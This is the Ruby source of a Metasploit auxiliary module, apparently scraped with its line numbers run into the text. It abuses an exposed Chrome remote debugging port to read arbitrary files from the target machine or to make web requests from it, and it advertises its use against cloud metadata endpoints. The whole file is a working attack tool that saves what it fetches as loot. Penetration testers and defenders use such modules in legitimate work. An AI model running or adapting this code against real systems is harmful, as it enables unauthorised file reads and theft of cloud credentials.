Path: blob/master/modules/auxiliary/gather/chrome_debugger.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'eventmachine'6require 'faye/websocket'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',16'Description' => %q{17This module uses the Chrome Debugger's API to read18files off the remote file system, or to make web requests19from a remote machine. Useful for cloud metadata endpoints!20},21'Author' => [22'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module23'Nicholas Starke (The King Pig Demon)' # msf module24],25'DisclosureDate' => '2019-09-24',26'License' => MSF_LICENSE,27'Notes' => {28'Reliability' => UNKNOWN_RELIABILITY,29'Stability' => UNKNOWN_STABILITY,30'SideEffects' => UNKNOWN_SIDE_EFFECTS31}32)33)3435register_options(36[37Opt::RPORT(9222),38OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),39OptString.new('URL', [false, 'Url to fetch from remote machine.']),40OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])41]42)4344deregister_options('Proxies')45deregister_options('VHOST')46deregister_options('SSL')47end4849def run50if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)51print_error('Must set FilePath or Url')52return53end5455res = send_request_cgi({56'method' => 'GET',57'uri' => '/json'58})5960if res.nil?61print_error('Bad Response')62return63end6465data = JSON.parse(res.body).pop66EM.run do67file_path = datastore['FILEPATH']68url = datastore['URL']6970if file_path71fetch_uri = "file://#{file_path}"72else73fetch_uri = url74end7576print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")7778unless data.key?('webSocketDebuggerUrl')79fail_with(Failure::Unknown, 'Invalid JSON')80end8182driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])8384driver.on :open do85print_status('Opened connection')86id = rand(1024 * 1024 * 1024)8788@succeeded = false8990EM::Timer.new(1) do91print_status("Attempting to load url #{fetch_uri}")92driver.send({93'id' => id,94'method' => 'Page.navigate',95'params' => {96url: fetch_uri97}98}.to_json)99end100101EM::Timer.new(3) do102print_status('Sending request for data')103driver.send({104'id' => id + 1,105'method' => 'Runtime.evaluate',106'params' => {107'expression' => 'document.documentElement.outerHTML'108}109}.to_json)110end111end112113driver.on :message do |event|114print_status('Received Data')115116data = JSON.parse(event.data)117118if data['result']['result']119loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')120print_good("Stored #{fetch_uri} at #{loot_path}")121@succeeded = true122end123end124125EM::Timer.new(datastore['TIMEOUT']) do126EventMachine.stop127fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded128end129end130end131end132133134